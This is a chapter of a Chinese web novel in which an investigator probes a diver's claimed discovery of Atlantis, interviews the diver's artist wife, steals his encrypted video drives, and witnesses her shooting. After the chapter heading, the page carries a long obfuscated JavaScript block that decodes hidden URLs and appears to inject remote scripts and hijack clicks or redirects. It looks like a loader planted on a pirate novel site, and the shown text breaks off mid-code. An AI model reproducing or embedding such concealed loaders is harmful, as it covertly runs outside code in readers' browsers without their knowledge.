我一向的调查经验是,魔鬼就藏在细节里。 当汉克斯生气地说出“不可描述”时,我已经意识到,弄清楚这四个字,就能揭开他全部的发现。 很显然,老葛没有意识到这一点,反复纠缠,就是希望汉克斯跟他走,去见另外一伙人马。 “汉克斯,我的朋友,相信我,这一次咱们遇到特大号金主了。如果你不信,现在我就当着你的面打电话给他们,让他们亲口答应你的条件,让他们开好支票送过来。十亿,十亿怎么样?这可是你在队伍里一辈子都挣不到的大钱。前提就是,你给他们提供资料,到底在玉壶瀑布下面看到了什么?你说的关于亚特兰蒂斯的一切,是真的吗?任何才能找到入口?入口究竟是在河东还是河西?” 我发现,汉克斯和老葛都在对牛弹琴,双方根本找不到利益的趋同点。 汉克斯气恼的是别人根本不理解他,而老葛担心的是煮熟的鸭子飞了,十几亿的支票化为乌有。 他们的行动方向南辕北辙,所以越谈越崩。 汉克斯站起来,老葛伸手阻拦,两个人在狭窄的卡座里僵持着。 我马上通知外面的小队,随时准备捞人上车。 汉克斯的体格比老葛强壮,两人纠缠了两下,老葛被推开,汉克斯大步向门口走去。 一个服务生迎面过来,张开双臂阻拦,也被汉克斯推开。但是,汉克斯再向前走了几步,脚下踉跄,屈膝跌倒。 老葛追上来,在那个服务生的帮助下,搀扶汉克斯,走向侧面的长廊。 我立刻跟上去,远远地看见,他们进入了一间挂着“临时医疗室”牌子的办公室。 雪茄吧里人来人往,出现这种异常情况,也只引发了小小的骚动,随即恢复正常。 我靠在柜台边,盯着长廊尽头的那扇门。只要他们三人出来,就逃不过我的眼睛。 过了十分钟,那扇门仍然紧紧关着,无人出入。 我预感到情况有些不妙,但为了保险起见,还是多等了五分钟,才大步走过去,敲响房门。 连敲了十几次后,门内无人应答,我转动门把手,打开了门,然后闪身而入。 奇怪的是,屋内空空荡荡,竟然连桌椅都没有。 这间办公室共有前后两个门口,三个人从前门进来,应该是接着从后门离开了。 我马上联系大堂经理,说自己是汉克斯的朋友,现在他被绑架了,要求看雪茄吧大厅的监控。 汉克斯被绑架,跟老葛的邀约密不可分。 此刻,只有汉克斯掌握着亚特兰蒂斯的秘密,谁抓到他,就等于是抓住了一只移动的保险箱子,能够换来十几亿的现金。 监控显示,三人离开大厦,乘坐一辆银色子弹头汽车离去。 据大堂经理指认,那个服务生面孔陌生,根本不是他们的员工,一定是别人假冒的。 出师不利,让我十分郁闷,只能暂时回到临时下榻的酒店,让小分队卸掉武装,好好休息。 现在,我手中掌握着汉克斯的住所、工作单位、家庭成员、亲戚关系以及他所有的兴趣爱好。根据他半年来的行程表进行行为习惯梳理,他在每周的周五下午,会到郊外的农庄度假,下周一的早晨,再从农庄直接回到单位上班。 这种作息习惯,已经保持了一年半时间。 查询谷歌地图可知,那个农庄距离我此刻的住所只有九公里左右。汉克斯上班的时候,农庄里就只剩他妻子,一个曾经极负盛名、如今退出画坛的超级美术家琳达。 我当机立断,马上乘车,赶到那个名为“绿松林”的郊区小镇。 在农庄,我见到了琳达。 她是纯粹的艺术家,说话语速极快,双眼灼灼放光。一谈到她的画作,她立刻手舞足蹈,语速变得犹如轻机枪一般。 等她说完了,我就告诉她自己的真实身份:“我是来帮你和汉克斯的,他跟我的朋友是同一部队的好战友,听说了汉克斯遭到的不公待遇后,我们愿意为他做出澄清,或者请媒体对他进行多方位报道。他是个好人,向外界传递了亚特兰蒂斯这么重要的科学信息,理应得到回报。” 琳达的反应出乎我的预料,我原以为她会哭,或者暴跳如雷,连哭带叫,但却什么都没有。 她只是点燃了一支烟,默默地抽着。 “请告诉我们,汉克斯说他潜入了玉壶瀑布下面,发现亚特兰蒂斯的失落大陆就在那里,这到底是怎么回事?” 我趁热打铁,再次询问。 “他说的都是真的,也都是假的。他的确看到了亚特兰蒂斯,也进入其中,可他的身体却牢牢地留在这里,就在前面,对着湖心的小亭子里。当时,他已经奄奄一息,只差最后一口气,但却不肯放弃阳台上的夕阳光芒,而咬牙坚持,看到夕阳落山的云霞方止。结果,他原先的病竟然神奇地自愈了。” 我没有打断她,能够在脑海中想象,汉克斯身心分离,灵魂去了亚特兰蒂斯,身体却留在这里。 在民间判断依据来说,这就是性命终结之日。 汉克斯发现亚特兰蒂斯这件事,在小范围内引起了强烈的反响。 很多当地记者都来采访过琳达,只不过琳达对于这些记者缄默不言,她不想利用这些隐私换来更多关注,毕竟此前她退出书画界,就是为了获得心灵的安宁。 作为见过大场面的她来说,汉克斯引起的舆之论风潮很快就会过去,等到媒体把这件事忘记,他们还能回归到以前平静的生活当中。 对于汉克斯的失踪,琳达并不在意,她知道那些绑架者要的是汉克斯脑子里的答案,而不是他的命。 在她的描述中,汉克斯无意中发现了亚特兰蒂斯,并且十几次潜水进入玉壶瀑布下面。 琳达虽然没有亲眼所见那里的神奇景象,可是她相信汉克斯是个诚实的人,绝对不会为了制造大新闻而故弄玄虚,哗众取宠。 她和汉克斯在一起,保持着亲密而开放的关系,两个人更看重的是精神的交往,而不是肉体的纠缠。 所以,站在旁观者的角度,她对汉克斯有更清晰的了解。 “他不会说谎,而且也不会贸然说出自己的想法,进入那里七八次之后,他才向我透露。我当然知道亚特兰蒂斯完全存在,那只不过是上古文明的一种,没什么值得大惊小怪的。地球既然存在了几十亿年,那就一定会拥有不同的生命阶段,这在生物学上完全说得通,大灾难来临的时候,任何一个高度文明的民族都会考虑解脱方法,就像我们地球人目前正在加速研究火星移民一样。” 琳达的知识结构丰厚而宽广,能够在不同知识领域来回调用,运用自如。 “事实上,假如科学家能够正视自身,开发地球的所有潜力,就不会那么急迫地把目光投向外太空和宇宙。对于远距离移民来说,挖掘地球,深入地下,比外太空传输更为方便,关注天空不如专注脚下,甚至是关注海洋。总之,我认为汉克斯的发现很有价值,如果能跟亚特兰蒂斯的居民进行沟通,那将会事半功倍。” 跟这样一个睿智的女人打交道,我觉得相当轻松,毕竟她有现代科学的头脑,又有纯粹艺术家的想象力。 “我们想知道汉克斯到底看见了什么,不要媒体的过度渲染,只需要当时的真实场景。针对汉克斯目前的困境,我们想提供一笔慈善捐款,让他能够在合适的时机搬迁到外地,避开媒体的骚扰。” 我发自内心真诚地想帮助这两个人,他们为世界做出了贡献,理应得到更好的待遇,但是在塔国的萨瓦市,根本没有人来帮助他们,引来的只是一些充满了偷窥欲望的媒体记者。 琳达笑着摇头拒绝:“我们住在这里,并不是因为钱的原因,而是心灵的召唤。乡间居住也是一种修行,就像很多教派智者隐居到大山里一样,只要心灵得到安宁,不管是在闹市、乡村还是在深山,其结果都是一样的。我和汉克斯都是心灵的禅修者,早就厌倦了尔虞我诈的城市生活,只想保持心灵的永久宁静。” 我们现在所处的客厅正面,挂着琳达的一幅油画,画面上全部都是各种深深浅浅的蓝色,描绘的场景像是大海,更像是星空。 我能够感觉到,只有琳达这样的人才是汉克斯最好的伴侣和朋友,能够理解汉克斯到底在做什么,想什么? 同样,也只有她在汉克斯遭到绑架的时候,仍然保持镇定,冷静分析当前的情况。 接下来,琳达向我们讲述汉克斯如何发现了亚特兰蒂斯。 事情大约发生在一年前,汉克斯接受了某白道组织的一次邀请,在玉壶瀑布进行反复的深潜训练,目的是为水下地形进行完整的地图测绘。 当时的设备非常先进,是汉克斯从未用过的,所以他能够发挥自己高级潜水员的特长,在水底自由工作,大约在一个月内,他就绘制出了一幅玉壶瀑布深处的地形草图。 按照他向琳达的讲述,这些数据被输入一台计算机组,立刻出现了立体地图,几乎是原样复制了瀑布底下的真实地型。 这些计算机组的先进程度汉克斯闻所未闻,所以他带着无比的兴奋投入工作,按照该组织的要求继续潜水,对这幅地图进行不断完善。但他慢慢发现,这个组织要的并不仅仅是地形图,而是水底的某些特殊地形构造和附着物。 后期,该组织安排十几个潜水员跟随他一起行动,在一些非常隐秘的地方进行了水下挖掘和开凿,并且把采集到的岩石、贝壳、苔藓送到秘密实验室去,进行高精度分析。 以汉克斯的科学水平,立刻意识到,这不是一次简单的潜水行动,而是要对玉壶瀑布底下的所有情况进行系统勘察,甚至是生物级别的分析。 这引起了汉克斯的极大注意,毕竟在萨瓦市的传说中,玉壶瀑布下面另有玄机。 他把自己的担心告诉了琳达,琳达劝告他做好自己的本职工作,至于其他的事情不予参与也就是了。 正是因为琳达有这样豁达的态度,才让汉克斯打消了顾虑,继续探索。 又过了两周时间,水底探索告一段落,组织派过来的潜水员也相继离去。 某的中午,汉克斯接到命令再次潜水,在某个位置进行泥土取样。 就是这一次,当他到达水底,发现了一个巨大的透明体,等于是瀑布下面的所有空间位于那个透明体的上部。 这些资料,汉克斯已经向媒体说过多次,但是消息爆出之后,无数潜水员来到这里,却再也没有发现他说的那种景象。 于是,很多民众指责他胡编乱造,这才导致了汉克斯的情绪极度低迷,怀疑自己的精神出了问题,并因此而进入潜水员心理治疗中心,进行为期五周的咨询治疗。 我已经对媒体上找到的消息进行了反复的梳理,真正有价值的就在于汉克斯前后几次潜入水底,获得的信息完全不同。 当他遭到媒体质疑,为了证明自己,必须获得真实的证据,所以在后期的几次潜水中,他携带了录像机和录音笔,并且还有高精度的通讯传输设备,只要再次发现那种情形就能够记录下来,呈现在世人面前。 但是,事与愿违,在连续的潜水之后,那个透明的活体建筑再也无影无踪,水底全都是坚硬的岩石层,根本不可能出现他说的现象。 从琳达的表情里,我敏锐地发现,汉克斯说的都是实情,但是他隐瞒了最关键的一段,而很显然,琳达是知情者,所以才会一直支持汉克斯,无条件相信自己的男友。 媒体反复炒作,最终没有得到这段真实的记录,所以后续乏力,渐渐退去。 我相信总部那边的智囊团和分析师也看到了问题的关键,所以才组成了大规模的调研团赶到萨瓦市。 “琳达,我们谈了这么久,应该能成为很好的朋友,但你始终向我隐瞒汉克斯的真实发现,既然他进入过亚特兰蒂斯,也看到了内部的情形,为什么不向媒体说明?反而甘愿背着被怀疑的骂名,如果全都说出来,岂不就没有这种尴尬了?” 我并不知道确切实情,只是刺探,想从琳达的表现里知道,到底发生了什么? 琳达是一个伟大的画家,但却不是一个特工间谍,所以在我的巧妙提问之下,立刻露出了马脚。 “非常抱歉,这段情形至关重要,没有汉克斯的允许,我绝对不会说出来。人类社会无比复杂,假如知道失落大陆就在那里,恐怕马上就要进行大规模的水底钻探,让那个世界的人们失去安宁。那是地球的救星,只有了解他们怎样避开了巨大灾难,才能给人类的未来指明一条可行之路。” 总体看来,我和琳达的谈话一直在友好中进行,气氛十分和谐。 毕竟我不是媒体记者,没有打破砂锅问到底的嚣张气焰,更不会咄咄逼人,直指主题。 所以,她能一边喝着咖啡,一边跟我聊一些汉克斯的发现,中间还夹杂着他们两人对人文艺术的观点。 在这种纯粹朋友式的的气氛之下,她的心灵缓缓敞开,向我吐露真实状况。 其实,我对汉克斯和琳达没有恶意,只想知道实情,毕竟亚特兰蒂斯的存在跟拯救神猴的行动密不可分。 发生在萨瓦市区域之内的神秘事件,都有某种奇特的关联性。 我已经预感到,亚特兰蒂斯的人类之所以逃过浩劫,就是采取了巨大的身体改变,才能成为地球上的新人类,跟那些大灾难擦肩而过。 举个简单的例子,过去就有很多生物学家指出,人类和鱼类之间出现了鲛人,这是古代早就记载过的。 鲛人是两者之间的过渡体,属于两栖动物,既能够生活在礁石上,又能够深入水底并发出类似于唱歌的声音。 当地球陆地发生大灾难,人类产生其他变化,就能像鲛人一样潜入水里,当水中产生环境变异,鲛人也能上岸,在陆地生存。 环境不会适应人类,但人类可以适应环境,这就是生物学上最重要的进化论观点。 假如人类抛弃身体,只剩灵魂就能独立存在的话,那么人类的个体单位就可以压缩至无限,并且去往任何地方生存,在任何空间甚至是电脑硬盘里。 “汉克斯真的进入了那个巨大的壶形结构,也就是媒体指出的亚特兰蒂斯。在那里他见到了无数的普通人,自由自在的生活在一个和谐平安的环境当中,汉克斯能够感受到每个人都有发自内心的快乐,在这个封闭的时间里,他们自给自足,创造了崭新的社会循环流程。” 这其实就是现实版的《桃花源记》,而汉克斯就是闯入了桃花源的那个渔夫。 他带回来崭新的消息,这些抛弃了身体的地球人,以灵魂的形式存在,但是并不妨碍彼此之间的交流,并且能够永久生存下去,达到地球人追求的永生状态。 听完这一段描述,我立刻发现,如果这真的是亚特兰蒂斯,那就是人类进化的某种阶段,主动抛弃身体,只剩下灵魂。 移魂玉壶吸走了所有人的灵魂,似乎承担的正是这样一种角色,但是失去灵魂的肉体仍然生活在现实环境当中,只不过变成了植物人一样的行尸走肉。 这两种状态并不容易让人接受,失去灵魂是普通人认为的死亡,所谓的移魂玉壶内得永生也是遥不可及的事情。 两者之间缺乏沟通的桥梁,人类当然无法接受,所以才会把移魂玉壶视为异端。 如果51地区的调查团获得了全部的线索,未必能够公开承认汉克斯的发现。 毕竟,这种爆炸性的言论,将会引起地球上巨大的恐慌,无论哪个机构发表此类观点,都得经过联合国的特殊批准。 “过程就是如此,汉克斯是个好人,也是个优秀的深海潜水家。他发现了亚特兰蒂斯,是本世纪最伟大的创举。我相信,总有一天,媒体会给他一个光辉的奖杯,让他的名字刻在玉壶瀑布的悬崖峭壁上……” 琳达已经讲述完了所有的神秘内容,可惜的是,她不是当事者,只是转述汉克斯的话,很多细节并没有惊心动魄的感觉,反而显得平淡无奇。 我相信当汉克斯在水底发现亚特兰蒂斯的时候,那种震惊一定是改变了他的人生三观,既打开了眼界,又震撼了心灵。 这些话,他只告诉了琳达,并没有坦诚讲给媒体,这就证明他已经对媒体产生了巨大的不信任,对自己未来的人生选择,也有了坚定的结论。 琳达向我讲起了自己的信仰,在黑暗的中世纪年代,那个被烧死的智者是她的偶像,只有能够开诚布公地向人类说出自己探知的预警信号,才是一个真正的艺术家。 艺术来自于天赋,天赋来自于天启。 既然上天给了艺术家一切,那么艺术家就要懂得感恩,为人类做出巨大贡献,哪怕是献出生命也在所不惜。 所以,琳达希望汉克斯能够顶住一切压力,得到最后证据,随即公布给世人,让世人明白,生命不仅仅只有一种形式,而且是有更高的追求形态。 那位被烧死的斗士坚持了“日心说”的哲学追求,以烈火焚身的形象,永远留在世界历史上,与“盗火者”普罗米修斯一样,成为人类智慧启迪者。 琳达谈到他,情绪越来越激动,情不自禁地起身,一边在客厅里来回踱步,一边挥舞手臂,讲述发生在中世纪的那些著名典故。 我悄悄在手机里输入文字,向暗网查询琳达的学术历史。 从她的画作中,我能感受到,这是一个具有独立思想的崭新女性,并不雷同于全球艺术界的其他人。 “人类具有共同的未来,向地球核心要生存空间,才是最正确的做法。两极钻探,珠峰探洞,包括马里亚纳海沟的深潜找寻,都是最佳的捷径。所以我一直鼓励汉克斯,他正在进行的事业,是伟大的,神圣的……” 暗网返回的消息让我瞬间窒息,因为至少有五个以上的消息源显示,琳达是相当固执的“地心说”追随者。 也就是说,她刚刚说的很多话,都是披着学术的外衣。 被烧死的智者坚持“日心说”,是因为那是宇宙间存在的唯一真理,而“地心说”毫无依据,是唯心主义的极端体现。 “抱歉,琳达,我得打断你一下——” 我没有隐瞒,直接向她展示了手机的文字页面。 过去的三十年,她一边追求艺术,一边从事艺术哲学研究,至少有二十多篇论文,都在讲述“地与人”的关系,并不断阐发“因地制宜、以地养人”的“地人合一”观点。 琳达微笑着点头:“叶先生,你的调查内容完全正确,但‘地心说’是媒体给我贴上的可恶标签。我的核心思想体系是‘地人合一’,主张人类治理地球,改善环境,不但把地球当作是居住地,而更应该是全心全意依靠的母体,这就是‘地人合一’的核心。” 在调查琳达的资料时,我过于看重她和汉克斯之间的关系,却忘记了,她也是个独立的个体,在汉克斯发现亚特兰蒂斯事件中,扮演着举足轻重的角色。 当下,我调整思路,重新提问,跟琳达探讨玉壶瀑布的核心问题,也就是——“那些被汉克斯发现的东西去了哪里?” 壶形空间不会是偶然出现,而应该是一直存在。 “有一家位于高加索山区的石油钻探公司登门两次,要跟汉克斯合作,对玉壶瀑布进行水底钻探。按照他们公司的地质学家估算,钻探一百五十米左右,就能抵达该地区的岩石层。如果那个透明体真的存在,他们就会成为世界上第一个发现失落大陆的公司。” 我笑了,这简直是痴人说梦,如果凭借简单的钻探技术,就能发现神秘的亚特兰蒂斯,51地区也就没有存在的必要了。 “那个组织呢?那个雇用汉克斯进行深潜探测的组织呢?在这件事里,他们岂不才是最大的始作俑者?” 琳达点点头,打开旁边书架上的通讯记录本。 原来,汉克斯打过所有的联系电话,也去过他们在萨瓦市的办公大楼,但电话不通,办公室那边也人去楼空。 该组织犹如白日蒸发一样,凭空消失了。 我很清楚,如果钻探一百五十米就能达到目的,该组织早就行动,不必等到外人插手。 或许,他们本来有一个非常庞大的行动计划,要对玉壶瀑布下面进行深度探测。但是,汉克斯的发现打乱了他们的步骤,而媒体的介入,进一步让情况失控。 出于某种不可告人的原因,他们选择了策略性隐身。不过我相信,他们就在暗处窥测,随时都会跳出来收割成果。 “叶先生,我们之间没有任何利益关系,所以我愿意说实话,但我希望,你不要把刚刚说的透露给媒体,那会再次让汉克斯陷入舆之论漩涡之中。” 琳达十分坦诚,已经把我想知道的,原原本本讲述出来。 我笑着致谢,但心知肚明,她仍然隐藏着一个巨大秘密,就是汉克斯最后几次深潜时,一定留下了视频资料,但自始至终,她都只字未提。 外面,一个斜背着褐色帆布包的邮差走进小院,按下了门铃。 琳达出去开门,我迅速环顾这间客厅,只用了十秒钟时间,就打开了书桌上唯一一个带锁的抽屉。 如我所料,一个黑色的防磁金属盒子里,放着十五个加密型优盘。每一个优盘上,都贴着防水标签,上面的文字表明,这就是汉克斯最后几次潜水的视频记录。 我把盒子放进包里,随即起身,准备告辞。 门口突然响起轻微的“咘咘”两声,我对那种声音太熟悉了,那是装了消声器的手枪近距离射击的动静。 随即,琳达倒地,向后倒下。 那个邮差动作敏捷,一步跨过琳达的身体,穿过门厅,直扑客厅。 我选择了主动撤离,在他进入客厅前,由窗子翻出,躲藏在杂物间的门后。 如果正面对抗,我就会暴露身份,让敌人有所防备。 所以,我宁愿暂避一时,主动示弱。反正优盘已经拿到,邮差进来,肯定一无所获。
第146章灵魂归宿,地人合一(1 / 1)
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 